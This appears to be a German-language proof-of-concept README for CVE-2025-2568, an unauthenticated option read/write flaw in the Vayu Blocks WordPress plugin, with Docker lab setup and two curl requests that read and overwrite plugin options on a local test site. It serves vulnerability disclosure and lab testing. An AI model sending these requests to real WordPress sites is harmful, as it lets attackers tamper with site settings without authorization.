PoC CVE-2025-2568

Überblick

Das Vayu Blocks – Gutenberg Blocks Plugin für WordPress & WooCommerce ist anfällig für unautorisierten Zugriff und Modifikation von Daten, da in den Versionen 1.0.4 bis 1.2.1 fehlende Berechtigungsprüfungen in den Funktionen vayu_blocks_get_toggle_switch_values_callback und vayu_blocks_save_toggle_switch_callback vorhanden sind. Dies ermöglicht es nicht authentifizierten Angreifern, Plugin-Optionen zu lesen und beliebige Optionen mit einem Schlüsselnamen, der auf _value endet, zu aktualisieren.

Exploit-Schritte

Einrichtung (mit Docker)

1. Klonen Sie das Repository und befolgen Sie die Schritte:

   cd vuln-wordpress
   docker-compose up -d
   

2. Entpacken Sie das Vayu-Plugin in den Ordner wp-content/plugins.

   cd wp-content/plugins/
   unzip vayu-blocks.1.2.0.zip
   

   Das Vayu-blocks Plugin (Version 1.2.0) ist nun installiert.

Exploit:

1. Verwenden Sie dies, um die Optionen zu lesen:

   curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
   

2. Senden Sie eine POST-Anfrage wie diese, um die Optionswerte zu ändern.

   curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
    -H "Content-Type: application/json" \
    -d '{"key":"container", "value":"new_value"}'
   

Exploit-Video

wordpressexploit.webm